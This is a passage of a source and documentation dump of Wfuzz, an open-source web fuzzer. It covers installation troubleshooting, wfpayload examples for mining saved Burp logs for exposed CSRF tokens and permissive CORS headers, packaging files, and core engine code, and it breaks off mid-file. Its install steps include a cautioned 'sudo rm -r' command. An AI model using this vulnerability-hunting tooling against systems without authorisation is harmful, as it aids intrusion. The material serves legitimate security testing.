    "content": "Installation\n==================================\n\nPip install Wfuzz\n--------------------\n\nTo install WFuzz using `pip <https://pip.pypa.io>`_ ::\n\n    $ pip install wfuzz\n\n\nUse the wfuzz docker image\n------------------\n\nYou can pull wfuzz docker image from github registry by executing::\n\n    $ docker pull ghcr.io/xmendez/wfuzz\n\nGet the Source Code\n-------------------\n\nWfuzz is actively developed on \n`GitHub <https://github.com/xmendez/wfuzz>`_.\n\nYou can either clone the public repository::\n\n    $ git clone git://github.com/xmendez/wfuzz.git\n\nOr download last `release <https://github.com/xmendez/wfuzz/releases/latest>`_.\n\nOnce you have a copy of the source, you can embed it in your own Python\npackage, or install it into your site-packages easily::\n\n    $ python setup.py install\n\n\nDependencies\n-----------\n\nWfuzz uses:\n\n* `pycurl <http://pycurl.sourceforge.net/>`_ library to perform HTTP requests.\n* `pyparsing <https://github.com/pyparsing/pyparsing>`_ library to create filter's grammars.\n* `JSON.miniy (C) Gerald Storer <https://github.com/getify/JSON.minify/blob/master/minify_json.py>`_ to read json recipes.\n* `chardet <https://chardet.github.io/>`_ to detect dictionaries encoding.\n* `coloroma <https://github.com/tartley/colorama/>`_ to support ANSI escape characters in Windows.\n\nInstallation issues\n===================\n\nPycurl on MacOS\n--------------------------\n\nWfuzz uses pycurl as HTTP library. You might get errors like the listed below when running Wfuzz::\n\n    pycurl: libcurl link-time ssl backend (openssl) is different from compile-time ssl backend (none/other)\n\nOr::\n\n    pycurl: libcurl link-time ssl backend (none/other) is different from compile-time ssl backend (openssl)\n\nThis is due to the fact that, MacOS might need some tweaks before pycurl is installed correctly:\n\n#. First you need to install OpenSSL via Homebrew::\n\n    $ brew install openssl\n\n#. Curl is normally already installed in MacOs, but to be sure it uses OpenSSL, we need to install it using brew::\n\n    $ brew install curl-openssl\n\n#. Curl is installed keg-only by brew. This means that is installed but not linked. Therefore, we need to instruct pip to use the recently installed curl before installing pycurl. We can do this permanently by changing our bash_profile::\n\n    $ echo 'export PATH=\"/usr/local/opt/curl-openssl/bin:$PATH\"' >> ~/.bash_profile\n\n#. Or temporary in the current shell::\n\n    $ export PATH=\"/usr/local/opt/curl-openssl/bin:$PATH\"\n\n#. Then, we need to install pycurl as follows::\n\n    $ PYCURL_SSL_LIBRARY=openssl LDFLAGS=\"-L/usr/local/opt/openssl/lib\" CPPFLAGS=\"-I/usr/local/opt/openssl/include\" pip install --no-cache-dir pycurl\n\n#. Finally, if we re-install or execute wfuzz again it should work correctly.\n\nIf you get errors such as::\n\n    Fatal exception: dlopen(xxx/lib/python3.7/site-packages/pycurl.cpython-37m-darwin.so, 2): Library not loaded:      /usr/local/opt/openssl/lib/libssl.1.0.0.dylib\n    Referenced from: /usr/local/opt/curl-openssl/lib/libcurl.4.dylib\n    Reason: image not found. Wfuzz needs pycurl to run. Pycurl could be installed using the following command:\n    \nRun brew update && brew upgrade\n\nIf you get an error such as::\n\n    ImportError: pycurl: libcurl link-time ssl backends (secure-transport, openssl) do not include compile-time ssl backend (none/other)\n\nThat might indicate that pycurl was reinstalled and not linked to the SSL correctly. Uninstall pycurl as follows::\n\n    $ pip uninstall pycurl\n\nand re-install pycurl starting from step 4 above.\n\nPycurl on Windows\n-----------------\n\nInstall pycurl matching your python version from https://pypi.org/project/pycurl/#files\n\nPyCurl SSL bug\n--------------\n\nIf you experience errors when using Wfuzz against SSL sites, it could be because an old know issue:\n\nhttp://bugs.debian.org/cgi-bin/bugreport.cgi?bug=515200\n\nBriefly, pycurl is built against libcurl3-gnutls, which does not work with a number of web sites. Pycurl fails with the following error message::\n\n   pycurl.error: (35, 'gnutls_handshake() failed: A TLS packet with unexpected length was received.')\n\nVerifying the problem\n^^^^^^^^^^^^^^^^^^^^^\n\n* Pycurl linked against gnutls::\n\n    $ python\n    >>> import pycurl\n    >>> pycurl.version\n    libcurl/7.21.3 GnuTLS/2.8.6 zlib/1.2.3.4 libidn/1.18'\n\n* Pycurl linked against openssl::\n\n    $ python\n    >>> import pycurl\n    >>> pycurl.version\n    'libcurl/7.21.3 OpenSSL/0.9.8o zlib/1.2.3.4 libidn/1.18'\n\nInstalling pycurl openssl flavour\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\nIn newer Ubuntu versions, you can install libcurl openssl flavour::\n\n    $ sudo apt install libcurl4-openssl-dev\n    $ sudo pip3 install --upgrade wfuzz \n\nInstalling pycurl against openssl\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\nAlternatively, it can be done manually:\n\n1. sudo apt-get install build-essential fakeroot dpkg-dev\n2. mkdir ~/python-pycurl-openssl\n3. cd ~/python-pycurl-openssl\n4. sudo apt-get source python-pycurl\n5. sudo apt-get build-dep python-pycurl -y\n6. sudo apt-get install libcurl4-openssl-dev -y\n*** CAUTION: BE CAREFUL WITH THIS OR DELETE THE DIRECTORY MANUALLY TO BE SAFE ***\n7. sudo rm -r ./*/ ; dpkg-source -x pycurl_7*.dsc # *** CAUTION: BE CAREFUL WITH THIS OR DELETE THE DIRECTORY MANUALLY TO BE SAFE ***\n8. cd pycurl*/\n9. edit debian/control file and replace all instances of “libcurl4-gnutls-dev” with “libcurl4-openssl-dev”:\nsed -i 's/libcurl4-gnutls-dev/libcurl4-openssl-dev/g' debian/control\nsed -i 's/rm -f/rm -rf/g' debian/rules # fix debian/rules 'rm -r' typo preventing existing directory delete\n10. sudo PYCURL_SSL_LIBRARY=openssl; dpkg-buildpackage -rfakeroot -b -uc -us\n11. sudo dpkg -i ../python-pycurl_7*.deb\n\nIf there is still the error::\n\n    ImportError?: No module named bottle\n\nCheck this http://stackoverflow.com/questions/9122200/importerror-no-module-named-bottle\n"
  },
  {
    "path": "docs/user/wfpayload.rst",
    "content": "wfpayload\n=========\n\nwfpayload uses the same motor as wfuzz but instead of performing HTTP requests, uses wfuzz's payload plugins to generate new content or analyse saved sessions.\n\nGenerating new dictionaries\n-------------------\n\nYou can use wfpayload to create new dictionaries::\n\n    $ wfpayload -z range --zD 0-10\n    0\n    1\n    2\n    3\n    4\n    5\n    6\n    7\n    8\n    9\n    10\n\nThe same wfuzz's syntax can be used, for example::\n\n    $ wfpayload -z range --zD 0-10 --filter \"FUZZ<3\"\n    0\n    1\n    2\n\n\nAnalysing saved sessions\n------------------\n\nPreviously performed HTTP requests/responses contain a treasure trove of data. You can use wfpayload to filter and analyse previously saved sessions. Wfpayload can also read sessions from external tools, such as burp.\n\nThis allows you to look for new vulnerabilities or understand the underlying target without performing new HTTP requests.\n\nFor example, the following will return a unique list of HTTP requests including the authtoken parameter as a GET parameter::\n\n    $ wfpayload -z burplog,a_burp_log.log --slice \"params.get~'authtoken'\"\n\nAuthtoken is the parameter used by BEA WebLogic Commerce Servers (TM) as a CSRF token, and therefore the above will find all the requests exposing the CSRF token in the URL.\n\nYou can also look for specific parameters or headers, for example, the following will look for HTTP responses accepting any CORS origin::\n\n    $ wfpayload -z burplog --zD burp_log_05032020.log --prefilter \"r.headers.response.Access-Control-Allow-Origin='*'\" \n\nIt is worth noting that, if the header is not present in the response it will be return an empty value, not raising any error.\n\nYou can also select the fields to show with --efield and --field, for example::\n\n    $ wfpayload -z wfuzzp --zD /tmp/session --field r.params.get\n    artist=5\n    ...\n\nOr::\n\n    $ wfpayload -z wfuzzp --zD /tmp/session --efield r.params.get\n    000000006:   200        99 L     272 W    3868 Ch     \"5 | artist=5\"\n    ...\n\nRunning plugins against saved sessions\n-------------------\n\nPlugins can be run against a saved session. For example::\n\n    $ ./wfpayload -z burplog --zD ./burp_log_05032020.log  --script=headers --filter \"plugins~'akamai'\"\n    ...\n    000000124:   302        0 L      0 W      0 Ch        \"https://trial-eum-clientnsv4-s.akamaihd.net/eum/getdns.txt?c=pjq71x1r7\"                                                                            \n    |_  New Server header - AkamaiGHost\n    000000913:   200        10 L     6571 W   289832 Ch   \"https://assets.adobedtm.com/2eed2bf00c8bca0c98d97ffee50a306922bc8c98/satelliteLib-27b81756e778cc85cc1a2f067764cd3abf072aa9.js\"                     \n    |_  New Server header - AkamaiNetStorage\n    ...\n\nRe-writing saved sessions\n-------------------\n\nThe content of a saved session can be re-written. For example, let's say there is a session with a bunch of 404/400 results that you want to remove::\n\n    $ wfpayload -z burplog --zD ./burp_log_05032020.log  --hc 404 --oF /tmp/no404\n\nand then::\n\n    $ wfpayload -z wfuzzp --zD /tmp/no404\n"
  },
  {
    "path": "requirements.txt",
    "content": "#\n# This file is autogenerated by pip-compile\n# To update, run:\n#\n#    pip-compile --output-file=requirements.txt setup.py\n#\nattrs==20.1.0             # via pytest\nchardet==3.0.4            # via wfuzz (setup.py)\niniconfig==1.0.1          # via pytest\nmore-itertools==8.5.0     # via pytest\npackaging==20.4           # via pytest\npluggy==0.13.1            # via pytest\npy==1.9.0                 # via pytest\npycurl==7.43.0.6          # via wfuzz (setup.py)\npyparsing==2.4.7          # via packaging\npytest==6.0.1             # via wfuzz (setup.py)\nsix==1.15.0               # via packaging, wfuzz (setup.py)\ntoml==0.10.1              # via pytest\n"
  },
  {
    "path": "setup.py",
    "content": "import os\nimport sys\nimport re\nfrom setuptools import setup, find_packages\n\nwith open(\"README.md\", \"rb\") as f:\n    long_descr = f.read().decode(\"utf-8\")\n\n\nversion = re.search(\n    r'^__version__\\s*=\\s*\"(.*)\"',\n    open('src/wfuzz/__init__.py').read(),\n    re.M\n).group(1)\n\ndocs_requires = [\n    \"Sphinx\",\n]\n\ndev_requires = [\n    'mock',\n    'coverage',\n    'codecov',\n    'netaddr',  # tests/api/test_payload.py uses ipranges payload\n    'pip-tools',\n    'flake8==3.8.3',\n    'black==19.10b0;python_version>\"3.5\"',\n    'pytest',\n]\n\ninstall_requires = [\n    'pycurl',\n    'pyparsing<2.4.2;python_version<=\"3.4\"',\n    'pyparsing>=2.4.2;python_version>=\"3.5\"',\n    'six',\n    'configparser;python_version<\"3.5\"',\n    'chardet',\n]\n\n\nif sys.platform.startswith(\"win\"):\n    install_requires += [\"colorama>=0.4.0\"]\n\n\ntry:\n    os.symlink('../../docs/user/advanced.rst', 'src/wfuzz/advanced.rst')\n    setup(\n        name=\"wfuzz\",\n        packages=find_packages(where='src'),\n        package_dir={'wfuzz': 'src/wfuzz'},\n        include_package_data=True,\n        package_data={'wfuzz': ['*.rst']},\n        entry_points={\n            'console_scripts': [\n                'wfuzz = wfuzz.wfuzz:main',\n                'wfpayload = wfuzz.wfuzz:main_filter',\n                'wfencode = wfuzz.wfuzz:main_encoder',\n            ],\n            'gui_scripts': [\n                'wxfuzz = wfuzz.wfuzz:main_gui',\n            ]\n        },\n        version=version,\n        description=\"Wfuzz - The web fuzzer\",\n        long_description=long_descr,\n        long_description_content_type='text/markdown',\n        author=\"Xavi Mendez (@x4vi_mendez)\",\n        author_email=\"xmendez@edge-security.com\",\n        url=\"http://wfuzz.org\",\n        license=\"GPLv2\",\n        install_requires=install_requires,\n        extras_require={\n            'dev': dev_requires,\n            'docs': docs_requires,\n        },\n        python_requires=\">=2.6\",\n        classifiers=(\n            'Development Status :: 4 - Beta',\n            'Natural Language :: English',\n            'License :: OSI Approved :: GNU General Public License v2 (GPLv2)',\n            'Programming Language :: Python',\n            'Programming Language :: Python :: 3',\n            'Programming Language :: Python :: 3.4',\n            'Programming Language :: Python :: 3.5',\n            'Programming Language :: Python :: 3.6',\n            'Programming Language :: Python :: 3.7',\n            'Programming Language :: Python :: 3.8',\n        ),\n    )\nfinally:\n    os.unlink('src/wfuzz/advanced.rst')\n"
  },
  {
    "path": "src/wfencode.py",
    "content": "#!/usr/bin/env python\nfrom wfuzz.wfuzz import main_encoder\n\nif __name__ == \"__main__\":\n    main_encoder()\n"
  },
  {
    "path": "src/wfpayload.py",
    "content": "#!/usr/bin/env python\nfrom wfuzz.wfuzz import main_filter\n\nif __name__ == \"__main__\":\n    main_filter()\n"
  },
  {
    "path": "src/wfuzz/__init__.py",
    "content": "__title__ = \"wfuzz\"\n__version__ = \"3.1.0\"\n__build__ = 0x023000\n__author__ = \"Xavier Mendez\"\n__license__ = \"GPL 2.0\"\n__copyright__ = \"Copyright 2011-2020 Xavier Mendez\"\n\nimport logging\nimport sys\n\nimport warnings\n\n\n# define a logging Handler\nconsole = logging.StreamHandler()\nconsole.setLevel(logging.WARNING)\nformatter = logging.Formatter(\"%(name)-12s: %(levelname)-8s %(message)s\")\nconsole.setFormatter(formatter)\nlogging.getLogger(\"\").addHandler(console)\n\n\n# define warnings format\ndef warning_on_one_line(message, category, filename, lineno, file=None, line=None):\n    return \" %s:%s: %s:%s\\n\" % (filename, lineno, category.__name__, message)\n\n\nwarnings.formatwarning = warning_on_one_line\n\n\ntry:\n    import pycurl\n\n    if \"openssl\".lower() not in pycurl.version.lower():\n        warnings.warn(\n            \"Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.\"\n        )\n\n    if not hasattr(pycurl, \"CONNECT_TO\"):\n        warnings.warn(\n            \"Pycurl and/or libcurl version is old. CONNECT_TO option is missing. Wfuzz --ip option will not be available.\"\n        )\n\n    if not hasattr(pycurl, \"PATH_AS_IS\"):\n        warnings.warn(\n            \"Pycurl and/or libcurl version is old. PATH_AS_IS option is missing. Wfuzz might not correctly fuzz URLS with '..'.\"\n        )\n\nexcept ImportError:\n    warnings.warn(\n        \"fuzz needs pycurl to run. Pycurl could be installed using the following command: $ pip install pycurl\"\n    )\n\n    sys.exit(1)\n\nfrom .options import FuzzSession\nfrom .api import fuzz, get_payload, get_payloads, encode, decode, payload, get_session\n"
  },
  {
    "path": "src/wfuzz/__main__.py",
    "content": "from .wfuzz import main\n\nmain()\n"
  },
  {
    "path": "src/wfuzz/api.py",
    "content": "from .options import FuzzSession\nfrom .facade import Facade\nfrom .ui.console.clparser import CLParser\n\n\"\"\"\nWfuzz API\n\"\"\"\n\n\ndef fuzz(**kwargs):\n    return FuzzSession(**kwargs).fuzz()\n\n\ndef get_payloads(iterator):\n    fs = FuzzSession()\n\n    return fs.get_payloads(iterator)\n\n\ndef get_payload(iterator):\n    fs = FuzzSession()\n    return fs.get_payload(iterator)\n\n\ndef encode(name, value):\n    return Facade().encoders.get_plugin(name)().encode(value)\n\n\ndef decode(name, value):\n    return Facade().encoders.get_plugin(name)().decode(value)\n\n\ndef payload(**kwargs):\n    return FuzzSession(**kwargs).payload()\n\n\ndef get_session(cline):\n    cl = [\"wfuzz\"] + cline.split(\" \")\n    return FuzzSession(**CLParser(cl).parse_cl())\n"
  },
  {
    "path": "src/wfuzz/core.py",
    "content": "from .fuzzobjects import FuzzType\n\nfrom .myqueues import MyPriorityQueue, QueueManager\nfrom .fuzzqueues import (\n    SeedQ,\n    SaveQ,\n    PrinterQ,\n    RoutingQ,\n    FilterQ,\n    SliceQ,\n    JobQ,\n    RecursiveQ,\n    DryRunQ,\n    HttpQueue,\n    HttpReceiver,\n    AllVarQ,\n    CLIPrinterQ,\n    ConsolePrinterQ,\n    PassPayloadQ,\n)\n\n\n# python 2 and 3: iterator\nfrom builtins import object\n\n\nclass Fuzzer(object):\n    def __init__(self, options):\n        # Create queues\n        # genReq ---> seed_queue -> [slice_queue] -> http_queue/dryrun -> [round_robin -> plugins_queue] * N\n        # -> [recursive_queue -> routing_queue] -> [filter_queue] -> [save_queue] -> [printer_queue] ---> results\n\n        self.options = options\n        self.qmanager = QueueManager(options)\n        self.results_queue = MyPriorityQueue()\n\n        if options[\"allvars\"]:\n            self.qmanager.add(\"seed_queue\", AllVarQ(options))\n        else:\n            self.qmanager.add(\"seed_queue\", SeedQ(options))\n\n        for prefilter_idx, prefilter in enumerate(options.get(\"compiled_prefilter\")):\n            if prefilter.is_active():\n                self.qmanager.add(\n                    \"slice_queue_{}\".format(prefilter_idx), SliceQ(options, prefilter)\n                )\n\n        if options.get(\"transport\") == \"dryrun\":\n            self.qmanager.add(\"transport_queue\", DryRunQ(options))\n        elif options.get(\"transport\") == \"payload\":\n            self.qmanager.add(\"transport_queue\", PassPayloadQ(options))\n        else:\n            # http_queue breaks process rules due to being asynchronous. Someone has to collects its sends, for proper fuzzqueue's count and sync purposes\n            self.qmanager.add(\"transport_queue\", HttpQueue(options))\n            self.qmanager.add(\"http_receiver\", HttpReceiver(options))\n\n        if options.get(\"script\"):\n            self.qmanager.add(\"plugins_queue\", JobQ(options))\n\n        if options.get(\"rlevel\") > 0:\n            self.qmanager.add(\"recursive_queue\", RecursiveQ(options))\n\n        if (options.get(\"script\") or options.get(\"rlevel\") > 0) and options.get(\n            \"transport\"\n        ) == \"http\":\n            rq = RoutingQ(\n                options,\n                {\n                    FuzzType.SEED: self.qmanager[\"seed_queue\"],\n                    FuzzType.BACKFEED: self.qmanager[\"transport_queue\"],\n                },\n            )\n\n            self.qmanager.add(\"routing_queue\", rq)\n\n        if options.get(\"compiled_filter\").is_active():\n            self.qmanager.add(\n                \"filter_queue\", FilterQ(options, options[\"compiled_filter\"])\n            )\n\n        if options.get(\"compiled_simple_filter\").is_active():\n            self.qmanager.add(\n                \"simple_filter_queue\",\n                FilterQ(options, options[\"compiled_simple_filter\"]),\n            )\n\n        if options.get(\"save\"):\n            self.qmanager.add(\"save_queue\", SaveQ(options))\n\n        if options.get(\"compiled_printer\"):\n            self.qmanager.add(\"printer_queue\", PrinterQ(options))\n\n        if options.get(\"exec_mode\") == \"cli\":\n            if options[\"console_printer\"]:\n                self.qmanager.add(\"printer_cli\", ConsolePrinterQ(options))\n            else:\n                self.qmanager.add(\"printer_cli\", CLIPrinterQ(options))\n\n        self.qmanager.bind(self.results_queue)\n\n        # initial seed request\n        self.qmanager.start()\n\n    def __iter__(self):\n        return self\n\n    def __next__(self):\n        # http://bugs.python.org/issue1360\n        res = self.results_queue.get()\n        self.results_queue.task_done()\n\n        # done! (None sent has gone through all queues).\n        if not res:\n            raise StopIteration\n        elif res.item_type == FuzzType.ERROR:\n            raise res.exception\n\n        return res\n\n    def stats(self):\n        return dict(\n            list(self.qmanager.get_stats().items())\n            + list(self.qmanager[\"transport_queue\"].http_pool.job_stats().items())\n            + list(self.options.stats.get_stats().items())\n        )\n\n    def cancel_job(self):\n        self.qmanager.cancel()\n\n    def pause_job(self):\n        self.qmanager[\"transport_queue\"].pause.clear()\n\n    def resume_job(self):\n        self.qmanager[\"transport_queue\"].pause.set()\n"
  },
  {
    "path": "src/wfuzz/dictionaries.py",
    "content": "from .exception import FuzzExceptNoPluginError, FuzzExceptBadOptions\nfrom .facade import Facade\nfrom .filters.ppfilter import FuzzResFilterSlice, FuzzResFilter\nfrom .fuzzobjects import FuzzWord, FuzzWordType\n\n\nclass BaseIterator:\n    def count(self):\n        raise NotImplementedError\n\n    def width(self):\n        raise NotImplementedError\n\n    def payloads(self):\n        raise NotImplementedError\n\n    def cleanup(self):\n        for payload in self.payloads():\n            payload.close()\n\n\nclass BaseDictionary:\n    def count(self):\n        raise NotImplementedError\n\n    def next_word(self):\n        raise NotImplementedError\n\n    def __next__(self):\n        return self.next_word()\n\n    def __iter__(self):\n        return self\n\n    def close(self):\n        pass\n\n\nclass EncodeIt(BaseDictionary):\n    def __init__(self, parent, encoders_list):\n        self.parent = parent\n        self.encoders = encoders_list\n        self.__generator = self._gen()\n\n    def count(self):\n        return self.parent.count() * len(self.encoders)\n\n    def concatenate(self, encoder_name, payload_word):\n        string = payload_word.content\n        for plugin_name in reversed(encoder_name.split(\"@\")):\n            string = Facade().encoders.get_plugin(plugin_name)().encode(string)\n\n        return FuzzWord(string, FuzzWordType.WORD)\n\n    def encode(self, encoder_name, payload_word):\n        plugin_list = Facade().encoders.get_plugins(encoder_name)\n        if not plugin_list:\n            raise FuzzExceptNoPluginError(\n                encoder_name\n                + \" encoder does not exists (-e encodings for a list of available encoders)\"\n            )\n\n        for plugin_class in plugin_list:\n            yield FuzzWord(\n                plugin_class().encode(payload_word.content), FuzzWordType.WORD\n            )\n\n    def next_word(self):\n        return next(self.__generator)\n\n    def _gen(self):\n        while 1:\n            try:\n                payload_word = next(self.parent)\n            except StopIteration:\n                return\n\n            for encoder_name in self.encoders:\n                if encoder_name.find(\"@\") > 0:\n                    yield self.concatenate(encoder_name, payload_word)\n                else:\n                    for string in self.encode(encoder_name, payload_word):\n                        yield string\n\n    def __next__(self):\n        return next(self.__generator)\n\n\nclass TupleIt(BaseDictionary, BaseIterator):\n    def __init__(self, parent):\n        self.parent = parent\n\n    def count(self):\n        return self.parent.count()\n\n    def width(self):\n        return 1\n\n    def payloads(self):\n        return [self.parent]\n\n    def next_word(self):\n        return (next(self.parent),)\n\n\nclass WrapperIt(BaseDictionary):\n    def __init__(self, iterator):\n        self._it = iter(iterator)\n\n    def count(self):\n        return -1\n\n    def get_type(self):\n        return FuzzWordType.WORD\n\n    def next_word(self):\n        return FuzzWord(str(next(self._it)), FuzzWordType.WORD)\n\n\nclass SliceIt(BaseDictionary):\n    def __init__(self, payload, slicestr):\n        self.ffilter = FuzzResFilter(filter_string=slicestr)\n        self.ffilter_slice = FuzzResFilterSlice(filter_string=slicestr)\n        self.payload = payload\n\n    def count(self):\n        return -1\n\n    def get_type(self):\n        return self.payload.get_type()\n\n    def _get_filtered_value(self, item):\n        if item.type == FuzzWordType.FUZZRES:\n            filter_ret = self.ffilter.is_visible(item.content)\n        else:\n            filter_ret = self.ffilter_slice.is_visible(item.content)\n\n        return filter_ret\n\n    def next_word(self):\n        # can be refactored using the walrus operator in python 3.8\n        item = next(self.payload)\n        filter_ret = self._get_filtered_value(item)\n\n        if not isinstance(filter_ret, bool) and item.type == FuzzWordType.FUZZRES:\n            raise FuzzExceptBadOptions(\n                \"The payload type cannot be modified from FuzzResult to word.\"\n            )\n\n        while isinstance(filter_ret, bool) and not filter_ret:\n            item = next(self.payload)\n            filter_ret = self._get_filtered_value(item)\n\n        if not isinstance(filter_ret, bool):\n            return FuzzWord(filter_ret, item.type)\n\n        return item\n\n\nclass AllVarDictio(BaseDictionary, BaseIterator):\n    def __init__(self, iterator, allvar_len):\n        self._it = iter(iterator)\n        self._count = allvar_len\n\n    def count(self):\n        return self._count\n\n    def width(self):\n        return 0\n\n    def payloads(self):\n        return []\n\n    def next_word(self):\n        var_name, fuzz_word = next(self._it)\n        return (FuzzWord(var_name, FuzzWordType.WORD), fuzz_word)\n"
  },
  {
    "path": "src/wfuzz/exception.py",
    "content": "class FuzzException(Exception):\n    pass\n\n\nclass FuzzExceptBadOptions(FuzzException):\n    pass\n\n\nclass FuzzExceptNoPluginError(FuzzException):\n    pass\n\n\nclass FuzzExceptPluginLoadError(FuzzException):\n    pass\n\n\nclass FuzzExceptIncorrectFilter(FuzzException):\n    pass\n\n\nclass FuzzExceptBadAPI(FuzzException):\n    pass\n\n\nclass FuzzExceptInternalError(FuzzException):\n    pass\n\n\nclass FuzzExceptBadFile(FuzzException):\n    pass\n\n\nclass FuzzExceptBadInstall(FuzzException):\n    pass\n\n\nclass FuzzExceptBadRecipe(FuzzException):\n    pass\n\n\nclass FuzzExceptMissingAPIKey(FuzzException):\n    pass\n\n\nclass FuzzExceptPluginBadParams(FuzzException):\n    pass\n\n\nclass FuzzExceptResourceParseError(FuzzException):\n    pass\n\n\nclass FuzzExceptPluginError(FuzzException):\n    pass\n\n\nclass FuzzExceptNetError(FuzzException):\n    pass\n"
  },
  {
    "path": "src/wfuzz/externals/__init__.py",
    "content": ""
  },
  {
    "path": "src/wfuzz/externals/moduleman/__init__.py",
    "content": ""
  },
  {
    "path": "src/wfuzz/externals/moduleman/loader.py",
    "content": "import inspect\nimport logging\nimport imp\nimport os.path\n\n\nclass IModuleLoader:\n    def __init__(self, **params):\n        self.set_params(**params)\n\n    def set_params(self, **params):\n        raise NotImplementedError\n\n    def load(self, registrant):\n        raise NotImplementedError\n\n\nclass FileLoader(IModuleLoader):\n    def __init__(self, **params):\n        IModuleLoader.__init__(self, **params)\n        self.__logger = logging.getLogger(\"libraries.FileLoader\")\n\n    def set_params(self, **params):\n        if \"base_path\" not in params:\n            return\n        elif \"filename\" not in params:\n            return\n\n        self.filename = params[\"filename\"]\n        self.base_path = params[\"base_path\"]\n        if self.base_path.endswith(\"/\"):\n            self.base_path = self.base_path[:-1]\n\n    def load(self, registrant):\n        self.module_registrant = registrant\n\n        self._load_py_from_file(os.path.join(self.base_path, self.filename))\n\n    def _build_id(self, filename, objname):\n        filepath, filename = os.path.split(filename)\n\n        relative_path = os.path.relpath(filepath, self.base_path)\n        identifier = relative_path + \"/\" + objname\n        if identifier.startswith(\"./\"):\n            identifier = identifier[2:]\n\n        return identifier\n\n    def _load_py_from_file(self, filename):\n        \"\"\"\n        Opens \"filename\", inspects it and calls the registrant\n        \"\"\"\n        self.__logger.debug(\"__load_py_from_file. START, file=%s\" % (filename,))\n\n        dirname, filename = os.path.split(filename)\n        fn = os.path.splitext(filename)[0]\n        exten_file = None\n        module = None\n\n        try:\n            exten_file, filename, description = imp.find_module(fn, [dirname])\n            module = imp.load_module(fn, exten_file, filename, description)\n        except ImportError as msg:\n            self.__logger.critical(\n                \"__load_py_from_file. Filename: %s Exception, msg=%s\" % (filename, msg)\n            )\n            # raise msg\n            pass\n        except SyntaxError as msg:\n            # incorrect python syntax in file\n            self.__logger.critical(\n                \"__load_py_from_file. Filename: %s Exception, msg=%s\" % (filename, msg)\n            )\n            # raise msg\n            pass\n        finally:\n            if exten_file:\n                exten_file.close()\n\n        if module is None:\n            return\n\n        for objname in dir(module):\n            obj = getattr(module, objname)\n            self.__logger.debug(\"__load_py_from_file. inspecting=%s\" % (objname,))\n            if inspect.isclass(obj):\n                if \"__PLUGIN_MODULEMAN_MARK\" in dir(obj):\n                    if self.module_registrant:\n                        self.module_registrant.register(\n                            self._build_id(filename, objname), obj\n                        )\n\n        self.__logger.debug(\"__load_py_from_file. END, loaded file=%s\" % (filename,))\n\n\nclass DirLoader(FileLoader):\n    def __init__(self, **params):\n        FileLoader.__init__(self, **params)\n        self.__logger = logging.getLogger(\"libraries.DirLoader\")\n\n    def set_params(self, **params):\n        if \"base_dir\" not in params:\n            return\n        elif \"base_path\" not in params:\n            return\n\n        self.base_dir = params[\"base_dir\"]\n        self.base_path = params[\"base_path\"]\n        if self.base_path.endswith(\"/\"):\n            self.base_path = self.base_path[:-1]\n\n    def load(self, registrant):\n        self.module_registrant = registrant\n        self.structure = self.__load_all(self.base_dir)\n\n    def _build_id(self, filename, objname):\n        filepath, filename = os.path.split(filename)\n\n        relative_path = os.path.relpath(\n            filepath, os.path.join(self.base_path, self.base_dir)\n        )\n        identifier = relative_path + \"/\" + objname\n        if identifier.startswith(\"./\"):\n            identifier = identifier[2:]\n\n        return identifier\n\n    def __load_all(self, dir_name):\n        \"\"\"\n        loads all plugins and creates a loaded list of scripts from directory plugins like:\n        [ ( category,[script1, script2,...] ), (category2,[script1, (subcategory,[script1,script2]),...]) ]\n        \"\"\"\n        walked = []\n\n        current = os.path.join(self.base_path, dir_name)\n        if os.path.isdir(current):\n            dir_list = self.__walk_dir_tree(current)\n            walked.append((current, dir_list))\n            if self.module_registrant:\n                self.module_registrant.end_loading()\n\n        return walked\n\n    def __walk_dir_tree(self, dirname):\n        dir_list = []\n\n        self.__logger.debug(\"__walk_dir_tree. START dir=%s\", dirname)\n\n        for f in os.listdir(dirname):\n            current = os.path.join(dirname, f)\n            if os.path.isfile(current) and f.endswith(\"py\"):\n                if self.module_registrant:\n                    self._load_py_from_file(current)\n\n                dir_list.append(current)\n            elif os.path.isdir(current):\n                ret = self.__walk_dir_tree(current)\n                if ret:\n                    dir_list.append((f, ret))\n\n        return dir_list\n"
  },
  {
    "path": "src/wfuzz/externals/moduleman/modulefilter.py",
    "content": "# mimicking nmap script filter\n\n\n# nmap --script \"http-*\"\n#     Loads all scripts whose name starts with http-, such as http-auth and http-open-proxy. The argument to --script had to be in quotes to protect the wildcard from the shell.\n#  not valid for categories!\n#\n# More complicated script selection can be done using the and, or, and not operators to build Boolean expressions. The operators have the same precedence[12] as in Lua: not is the\n# highest, followed by and and then or. You can alter precedence by using parentheses. Because expressions contain space characters it is necessary to quote them.\n#\n# nmap --script \"not intrusive\"\n#     Loads every script except for those in the intrusive category.\n#\n# nmap --script \"default or safe\"\n#     This is functionally equivalent to nmap --script \"default,safe\". It loads all scripts that are in the default category or the safe category or both.\n#\n# nmap --script \"default and safe\"\n#     Loads those scripts that are in both the default and safe categories.\n#\n# nmap --script \"(default or safe or intrusive) and not http-*\"\n#     Loads scripts in the default, safe, or intrusive categories, except for those whose names start with http-.\n\n\nPYPARSING = True\ntry:\n    from pyparsing import (\n        Word,\n        Group,\n        oneOf,\n        Optional,\n        Suppress,\n        ZeroOrMore,\n        Literal,\n        alphas,\n        alphanums,\n    )\nexcept ImportError:\n    PYPARSING = False\n\n\nclass IFilter:\n    def is_visible(self, plugin, filter_string):\n        raise NotImplementedError\n\n\nclass Filter(IFilter):\n    def __init__(self):\n        if PYPARSING:\n            category = Word(alphas + \"_-*\", alphanums + \"_-*\")\n            operator = oneOf(\"and or ,\")\n            neg_operator = \"not\"\n            elementRef = category\n            definition = elementRef + ZeroOrMore(operator + elementRef)\n            nestedformula = Group(\n                Suppress(Optional(Literal(\"(\")))\n                + definition\n                + Suppress(Optional(Literal(\")\")))\n            )\n            neg_nestedformula = Optional(neg_operator) + nestedformula\n            self.finalformula = neg_nestedformula + ZeroOrMore(\n                operator + neg_nestedformula\n            )\n\n            elementRef.setParseAction(self.__compute_element)\n            neg_nestedformula.setParseAction(self.__compute_neg_formula)\n            nestedformula.setParseAction(self.__compute_formula)\n            self.finalformula.setParseAction(self.__myreduce)\n\n    def __compute_neg_formula(self, tokens):\n        if len(tokens) > 1 and tokens[0] == \"not\":\n            return not tokens[1]\n        else:\n            return tokens[0]\n\n    def __compute_element(self, tokens):\n        item = tokens[0]\n        wildc_index = 